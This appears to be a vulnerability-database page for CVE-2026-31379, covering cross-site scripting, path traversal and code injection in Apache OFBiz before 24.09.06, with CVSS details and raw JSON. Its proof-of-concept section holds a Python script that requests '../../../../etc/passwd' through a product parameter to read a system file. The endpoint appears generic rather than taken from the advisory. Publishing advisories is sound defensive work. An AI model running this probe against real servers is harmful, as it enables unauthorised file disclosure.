Security Vulnerability Report
中文
CVE-2026-31379 CVSS 6.1 MEDIUM

CVE-2026-31379

Published: 2026-05-19 10:16:23
Last Modified: 2026-05-19 19:16:47

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Improper Control of Generation of Code ('Code Injection') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 24.09.06. Users are recommended to upgrade to version 24.09.06, which fixes the issue.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* - VULNERABLE
Apache OFBiz < 24.09.06

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-31379 # This script demonstrates the Path Traversal vulnerability import requests def check_poc(url): # Attempt to access a sensitive file using path traversal traversal_payload = "../../../../etc/passwd" target_endpoint = f"{url}/control/viewProduct?productId={traversal_payload}" try: response = requests.get(target_endpoint, timeout=5) if "root:" in response.text: return "[+] Vulnerability confirmed: /etc/passwd leaked." else: return "[-] Vulnerability not detected or patched." except Exception as e: return f"[!] Error: {e}" if __name__ == "__main__": target = input("Enter target URL (e.g., http://localhost:8080): ") print(check_poc(target))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31379", "sourceIdentifier": "[email protected]", "published": "2026-05-19T10:16:23.253", "lastModified": "2026-05-19T19:16:47.323", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Improper Control of Generation of Code ('Code Injection') vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.09.06", "matchCriteriaId": "CEB63EC9-E307-4D7E-98E3-142E0225D178"}]}]}], "references": [{"url": "https://lists.apache.org/thread/1tcnkxjm0s6n1ohfb21brl25dt0hv9by", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/19/18", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}